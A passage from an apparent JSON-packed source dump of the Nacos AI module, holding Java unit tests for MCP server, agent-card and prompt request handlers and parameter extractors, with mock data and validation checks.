List<ConfigInfo> list = new LinkedList<>();\n        for (int i = 0; i < currentPageSize; i++) {\n            ConfigInfo configInfo = new ConfigInfo();\n            configInfo.setTenant(namespaceId);\n            configInfo.setContent(JacksonUtils.toJson(mockServerVersionInfo(UUID.randomUUID().toString())));\n            list.add(configInfo);\n        }\n        mockConfigInfo.setPageItems(list);\n        return mockConfigInfo;\n    }\n    \n    private McpServerVersionInfo mockServerVersionInfo(String id) {\n        McpServerVersionInfo serverVersionInfo = new McpServerVersionInfo();\n        serverVersionInfo.setId(id);\n        serverVersionInfo.setName(\"mcpName\");\n        serverVersionInfo.setLatestPublishedVersion(\"9.9.9\");\n        List<ServerVersionDetail> versionDetails = new LinkedList<>();\n        versionDetails.add(mockVersion(\"1.0.0\"));\n        versionDetails.add(mockVersion(\"9.9.9\"));\n        serverVersionInfo.setVersions(versionDetails);\n        return serverVersionInfo;\n    }\n    \n    private ServerVersionDetail mockVersion(String version) {\n        ServerVersionDetail versionDetail = new ServerVersionDetail();\n        versionDetail.setVersion(version);\n        return versionDetail;\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/param/AgentHttpParamExtractorTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.param;\n\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCapabilities;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.List;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass AgentHttpParamExtractorTest {\n    \n    @Mock\n    HttpServletRequest request;\n    \n    AgentHttpParamExtractor httpParamExtractor;\n    \n    @BeforeEach\n    void setUp() {\n        httpParamExtractor = new AgentHttpParamExtractor();\n    }\n    \n    @Test\n    void extractParamWithNamespaceIdAndAgentName() throws NacosException {\n        String agentName = \"testAgent\";\n        when(request.getParameter(\"namespaceId\")).thenReturn(\"testNs\");\n        when(request.getParameter(\"agentName\")).thenReturn(agentName);\n        when(request.getParameterMap()).thenReturn(\n                Map.of(\"namespaceId\", new String[] {\"testNs\"}, \"agentName\", new String[] {agentName}));\n        \n        List<ParamInfo> actual = httpParamExtractor.extractParam(request);\n        assertEquals(1, actual.size());\n        assertEquals(\"testNs\", actual.get(0).getNamespaceId());\n        assertEquals(agentName, actual.get(0).getAgentName());\n    }\n    \n    @Test\n    void extractParamWithAgentCard() throws NacosException {\n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(\"testAgentFromCard\");\n        agentCard.setDescription(\"Test agent card\");\n        \n        AgentCapabilities capabilities = new AgentCapabilities();\n        agentCard.setCapabilities(capabilities);\n        \n        String agentCardJson = JacksonUtils.toJson(agentCard);\n        \n        when(request.getParameter(\"namespaceId\")).thenReturn(\"testNs\");\n        when(request.getParameter(\"agentName\")).thenReturn(\"shouldBeOverridden\");\n        when(request.getParameter(\"agentCard\")).thenReturn(agentCardJson);\n        when(request.getParameterMap()).thenReturn(\n                Map.of(\"namespaceId\", new String[] {\"testNs\"}, \"agentName\", new String[] {\"shouldBeOverridden\"},\n                        \"agentCard\", new String[] {agentCardJson}));\n        \n        List<ParamInfo> actual = httpParamExtractor.extractParam(request);\n        assertEquals(1, actual.size());\n        assertEquals(\"testNs\", actual.get(0).getNamespaceId());\n        assertEquals(\"testAgentFromCard\", actual.get(0).getAgentName());\n    }\n    \n    @Test\n    void extractParamWithInvalidAgentCardJson() throws NacosException {\n        when(request.getParameter(\"namespaceId\")).thenReturn(\"testNs\");\n        when(request.getParameter(\"agentName\")).thenReturn(\"testAgent\");\n        when(request.getParameter(\"agentCard\")).thenReturn(\"{invalidJson\");\n        when(request.getParameterMap()).thenReturn(\n                Map.of(\"namespaceId\", new String[] {\"testNs\"}, \"agentName\", new String[] {\"testAgent\"}, \"agentCard\",\n                        new String[] {\"{invalidJson\"}));\n        \n        List<ParamInfo> actual = httpParamExtractor.extractParam(request);\n        assertEquals(1, actual.size());\n        assertEquals(\"testNs\", actual.get(0).getNamespaceId());\n        assertEquals(\"\", actual.get(0).getAgentName());\n    }\n    \n    @Test\n    void extractParamWithEmptyParameters() throws NacosException {\n        when(request.getParameterMap()).thenReturn(new java.util.HashMap<>());\n        \n        List<ParamInfo> actual = httpParamExtractor.extractParam(request);\n        assertEquals(1, actual.size());\n        assertTrue(actual.get(0).getNamespaceId() == null || actual.get(0).getNamespaceId().isEmpty());\n        assertTrue(actual.get(0).getAgentName() == null || actual.get(0).getAgentName().isEmpty());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/param/McpHttpParamExtractorTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.param;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.paramcheck.ParamInfo;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.List;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass McpHttpParamExtractorTest {\n    \n    @Mock\n    HttpServletRequest request;\n    \n    McpHttpParamExtractor httpParamExtractor;\n    \n    @BeforeEach\n    void setUp() {\n        httpParamExtractor = new McpHttpParamExtractor();\n    }\n    \n    @Test\n    void extractParam() throws NacosException {\n        String id = UUID.randomUUID().toString();\n        when(request.getParameter(\"namespaceId\")).thenReturn(\"testNs\");\n        when(request.getParameter(\"mcpName\")).thenReturn(\"testMcp\");\n        when(request.getParameter(\"mcpId\")).thenReturn(id);\n        List<ParamInfo> actual = httpParamExtractor.extractParam(request);\n        assertEquals(1, actual.size());\n        assertEquals(id, actual.get(0).getMcpId());\n        assertEquals(\"testNs\", actual.get(0).getNamespaceId());\n        assertEquals(\"testMcp\", actual.get(0).getMcpName());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/McpServerEndpointRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.FrontEndpointConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerRemoteServiceConfig;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.McpServerEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.response.McpServerEndpointResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.Collections;\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass McpServerEndpointRequestHandlerTest {\n    \n    @Mock\n    private EphemeralClientOperationServiceImpl clientOperationService;\n    \n    @Mock\n    private McpServerOperationService mcpServerOperationService;\n    \n    @Mock\n    private McpServerIndex mcpServerIndex;\n    \n    @Mock\n    private RequestMeta meta;\n    \n    McpServerEndpointRequestHandler requestHandler;\n    \n    @BeforeEach\n    void setUp() {\n        requestHandler = new McpServerEndpointRequestHandler(clientOperationService, mcpServerOperationService,\n                mcpServerIndex);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void handleWithInvalidParameters() throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        McpServerEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM, \"parameters `mcpName` can't be empty or null\");\n    }\n    \n    @Test\n    void handleForNotFound() throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setAddress(\"1.1.1.1\");\n        request.setPort(3306);\n        request.setMcpName(\"test\");\n        McpServerEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.NOT_FOUND, \"MCP server `test` not found in namespaceId: `public`\");\n    }\n    \n    @Test\n    void handleForRegisterEndpoint() throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setAddress(\"1.1.1.1\");\n        request.setPort(3306);\n        request.setMcpName(\"test\");\n        request.setVersion(\"1.0.0\");\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        String id = UUID.randomUUID().toString();\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null,\n                \"1.0.0\")).thenReturn(buildMockMcpServerDetailInfo());\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        McpServerEndpointResponse response = requestHandler.handle(request, meta);\n        assertEquals(AiRemoteConstants.REGISTER_ENDPOINT, response.getType());\n        verify(clientOperationService).registerInstance(any(Service.class), any(Instance.class),\n                eq(\"TEST_CONNECTION_ID\"));\n    }\n    \n    @Test\n    void handleForDeregisterEndpoint() throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setAddress(\"1.1.1.1\");\n        request.setPort(3306);\n        request.setMcpName(\"test\");\n        request.setType(AiRemoteConstants.DE_REGISTER_ENDPOINT);\n        String id = UUID.randomUUID().toString();\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null,\n                null)).thenReturn(buildMockMcpServerDetailInfo());\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        McpServerEndpointResponse response = requestHandler.handle(request, meta);\n        assertEquals(AiRemoteConstants.DE_REGISTER_ENDPOINT, response.getType());\n        verify(clientOperationService).deregisterInstance(any(Service.class), any(Instance.class),\n                eq(\"TEST_CONNECTION_ID\"));\n    }\n    \n    @Test\n    void handleForInvalidType() throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setAddress(\"1.1.1.1\");\n        request.setPort(3306);\n        request.setMcpName(\"test\");\n        request.setType(\"INVALID_TYPE\");\n        String id = UUID.randomUUID().toString();\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null,\n                null)).thenReturn(buildMockMcpServerDetailInfo());\n        McpServerEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"parameter `type` should be registerEndpoint or deregisterEndpoint, but was INVALID_TYPE\");\n    }\n    \n    @Test\n    void handleForRegisterFrontendEndpoint() throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setAddress(\"1.1.1.1\");\n        request.setPort(3306);\n        request.setMcpName(\"test\");\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        String id = UUID.randomUUID().toString();\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        McpServerDetailInfo detailInfo = buildMockMcpServerDetailInfo();\n        detailInfo.getRemoteServerConfig()\n                .setFrontEndpointConfigList(Collections.singletonList(new FrontEndpointConfig()));\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF);\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setEndpointData(detailInfo.getRemoteServerConfig().getServiceRef());\n        detailInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null,\n                null)).thenReturn(detailInfo);\n        when(meta.getConnectionId()).thenReturn(\"TEST_CONNECTION_ID\");\n        McpServerEndpointResponse response = requestHandler.handle(request, meta);\n        assertEquals(AiRemoteConstants.REGISTER_ENDPOINT, response.getType());\n        verify(clientOperationService).registerInstance(any(Service.class), any(Instance.class),\n                eq(\"TEST_CONNECTION_ID\"));\n    }\n    \n    @Test\n    void handleForRegisterFrontendEndpointNotFound() throws NacosException {\n        McpServerEndpointRequest request = new McpServerEndpointRequest();\n        request.setAddress(\"1.1.1.1\");\n        request.setPort(3306);\n        request.setMcpName(\"test\");\n        request.setType(AiRemoteConstants.REGISTER_ENDPOINT);\n        String id = UUID.randomUUID().toString();\n        McpServerIndexData indexData = McpServerIndexData.newIndexData(id, AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        when(mcpServerIndex.getMcpServerByName(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"test\")).thenReturn(indexData);\n        McpServerDetailInfo detailInfo = buildMockMcpServerDetailInfo();\n        detailInfo.getRemoteServerConfig()\n                .setFrontEndpointConfigList(Collections.singletonList(new FrontEndpointConfig()));\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setEndpointType(AiConstants.Mcp.MCP_ENDPOINT_TYPE_DIRECT);\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0)\n                .setType(AiConstants.Mcp.MCP_PROTOCOL_SSE);\n        detailInfo.getRemoteServerConfig().getFrontEndpointConfigList().get(0).setEndpointData(\"127.0.0.1:8848\");\n        detailInfo.setProtocol(AiConstants.Mcp.MCP_PROTOCOL_HTTP);\n        when(mcpServerOperationService.getMcpServerDetail(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, id, null,\n                null)).thenReturn(detailInfo);\n        McpServerEndpointResponse response = requestHandler.handle(request, meta);\n        assertErrorResponse(response, NacosException.NOT_FOUND, \"The Mcp Server Ref endpoint service not found.\");\n    }\n    \n    McpServerDetailInfo buildMockMcpServerDetailInfo() {\n        McpServerDetailInfo result = new McpServerDetailInfo();\n        result.setName(\"test\");\n        McpServiceRef serviceRef = new McpServiceRef();\n        serviceRef.setNamespaceId(AiConstants.Mcp.MCP_DEFAULT_NAMESPACE);\n        serviceRef.setGroupName(Constants.MCP_SERVER_ENDPOINT_GROUP);\n        serviceRef.setServiceName(\"test\");\n        McpServerRemoteServiceConfig remoteServiceConfig = new McpServerRemoteServiceConfig();\n        remoteServiceConfig.setServiceRef(serviceRef);\n        result.setRemoteServerConfig(remoteServiceConfig);\n        return result;\n    }\n    \n    private void assertErrorResponse(McpServerEndpointResponse response, int code, String message) {\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(code, response.getErrorCode());\n        assertEquals(message, response.getMessage());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/QueryMcpServerRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.remote.request.QueryMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.response.QueryMcpServerResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass QueryMcpServerRequestHandlerTest {\n    \n    @Mock\n    private McpServerOperationService mcpServerOperationService;\n    \n    @Mock\n    private McpServerIndex mcpServerIndex;\n    \n    QueryMcpServerRequestHandler requestHandler;\n    \n    @BeforeEach\n    void setUp() {\n        requestHandler = new QueryMcpServerRequestHandler(mcpServerOperationService, mcpServerIndex);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void handleWithInvalidParam() throws NacosException {\n        QueryMcpServerRequest request = new QueryMcpServerRequest();\n        QueryMcpServerResponse response = requestHandler.handle(request, null);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.INVALID_PARAM, response.getErrorCode());\n        assertEquals(\"parameters `mcpName` can't be empty or null\", response.getMessage());\n    }\n    \n    @Test\n    void handleMcpServerNotFound() throws NacosException {\n        QueryMcpServerRequest request = new QueryMcpServerRequest();\n        request.setMcpName(\"test\");\n        QueryMcpServerResponse response = requestHandler.handle(request, null);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.NOT_FOUND, response.getErrorCode());\n        assertEquals(\"MCP server `test` not found in namespaceId: `public`\", response.getMessage());\n    }\n    \n    @Test\n    void handle() throws NacosException {\n        QueryMcpServerRequest request = new QueryMcpServerRequest();\n        request.setMcpName(\"test\");\n        McpServerIndexData indexData = new McpServerIndexData();\n        indexData.setId(UUID.randomUUID().toString());\n        indexData.setNamespaceId(\"public\");\n        when(mcpServerIndex.getMcpServerByName(\"public\", \"test\")).thenReturn(indexData);\n        McpServerDetailInfo mcpServerDetailInfo = new McpServerDetailInfo();\n        when(mcpServerOperationService.getMcpServerDetail(\"public\", indexData.getId(), null, null)).thenReturn(\n                mcpServerDetailInfo);\n        QueryMcpServerResponse response = requestHandler.handle(request, null);\n        assertEquals(mcpServerDetailInfo, response.getMcpServerDetailInfo());\n    }\n}"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/QueryPromptRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.service.prompt.PromptClientOperationService;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.remote.request.QueryPromptRequest;\nimport com.alibaba.nacos.api.ai.remote.response.QueryPromptResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotNull;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass QueryPromptRequestHandlerTest {\n    \n    @Mock\n    private PromptClientOperationService promptClientOperationService;\n    \n    private QueryPromptRequestHandler handler;\n    \n    @BeforeEach\n    void setUp() {\n        handler = new QueryPromptRequestHandler(promptClientOperationService);\n    }\n    \n    @Test\n    void handleShouldReturnInvalidParamWhenPromptKeyBlank() {\n        QueryPromptRequest request = new QueryPromptRequest();\n        QueryPromptResponse response = handler.handle(request, null);\n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.INVALID_PARAM, response.getErrorCode());\n    }\n    \n    @Test\n    void handleShouldReturnNotModifiedWhenServiceThrows304() throws NacosException {\n        QueryPromptRequest request = new QueryPromptRequest();\n        request.setPromptKey(\"p1\");\n        when(promptClientOperationService.queryPrompt(\"public\", \"p1\", null, null, null))\n                .thenThrow(new NacosException(NacosException.NOT_MODIFIED, \"prompt data is up to date\"));\n        \n        QueryPromptResponse response = handler.handle(request, null);\n        \n        assertEquals(ResponseCode.FAIL.getCode(), response.getResultCode());\n        assertEquals(NacosException.NOT_MODIFIED, response.getErrorCode());\n    }\n    \n    @Test\n    void handleShouldMapPromptFieldsWhenSuccess() throws NacosException {\n        QueryPromptRequest request = new QueryPromptRequest();\n        request.setPromptKey(\"p1\");\n        PromptVersionInfo versionInfo = new PromptVersionInfo();\n        versionInfo.setPromptKey(\"p1\");\n        versionInfo.setVersion(\"1.0.0\");\n        versionInfo.setTemplate(\"hello\");\n        versionInfo.setMd5(\"m1\");\n        when(promptClientOperationService.queryPrompt(\"public\", \"p1\", null, null, null)).thenReturn(versionInfo);\n        \n        QueryPromptResponse response = handler.handle(request, null);\n        Prompt prompt = response.getPromptInfo();\n        \n        assertNotNull(prompt);\n        assertEquals(\"p1\", prompt.getPromptKey());\n        assertEquals(\"1.0.0\", prompt.getVersion());\n        assertEquals(\"hello\", prompt.getTemplate());\n        assertEquals(\"m1\", prompt.getMd5());\n    }\n    \n    @Test\n    void handleShouldProcessNamespaceBeforeQuery() throws NacosException {\n        QueryPromptRequest request = new QueryPromptRequest();\n        request.setPromptKey(\"p1\");\n        request.setNamespaceId(\"\");\n        when(promptClientOperationService.queryPrompt(\"public\", \"p1\", null, null, null)).thenReturn(new PromptVersionInfo());\n        \n        handler.handle(request, null);\n        \n        verify(promptClientOperationService).queryPrompt(\"public\", \"p1\", null, null, null);\n    }\n}\n"
  },
  {
    "path": "ai/src/test/java/com/alibaba/nacos/ai/remote/handler/ReleaseMcpServerRequestHandlerTest.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.index.McpServerIndex;\nimport com.alibaba.nacos.ai.model.mcp.McpServerIndexData;\nimport com.alibaba.nacos.ai.service.McpEndpointOperationService;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.registry.ServerVersionDetail;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseMcpServerRequest;\nimport com.alibaba.nacos.api.ai.remote.response.ReleaseMcpServerResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.api.remote.response.ResponseCode;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport org.junit.jupiter.api.AfterEach;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\n\nimport java.util.UUID;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.mockito.ArgumentMatchers.anyString;\nimport static org.mockito.ArgumentMatchers.eq;\nimport static org.mockito.ArgumentMatchers.isNotNull;\nimport static org.mockito.ArgumentMatchers.isNull;\nimport static org.mockito.Mockito.never;\nimport static org.mockito.Mockito.verify;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\nclass ReleaseMcpServerRequestHandlerTest {\n    \n    @Mock\n    private McpServerOperationService mcpServerOperationService;\n    \n    @Mock\n    private McpEndpointOperationService endpointOperationService;\n    \n    @Mock\n    private McpServerIndex mcpServerIndex;\n    \n    @Mock\n    private RequestMeta meta;\n    \n    ReleaseMcpServerRequestHandler requestHandler;\n    \n    @BeforeEach\n    void setUp() {\n        requestHandler = new ReleaseMcpServerRequestHandler(mcpServerOperationService, endpointOperationService,\n                mcpServerIndex);\n    }\n    \n    @AfterEach\n    void tearDown() {\n    }\n    \n    @Test\n    void handleWithInvalidParameter() throws NacosException {\n        ReleaseMcpServerRequest request = new ReleaseMcpServerRequest();\n        ReleaseMcpServerResponse response = requestHandler.handle(request, null);\n        assertErrorResponse(response, NacosException.INVALID_PARAM,\n                \"Required parameter 'serverSpecification' type 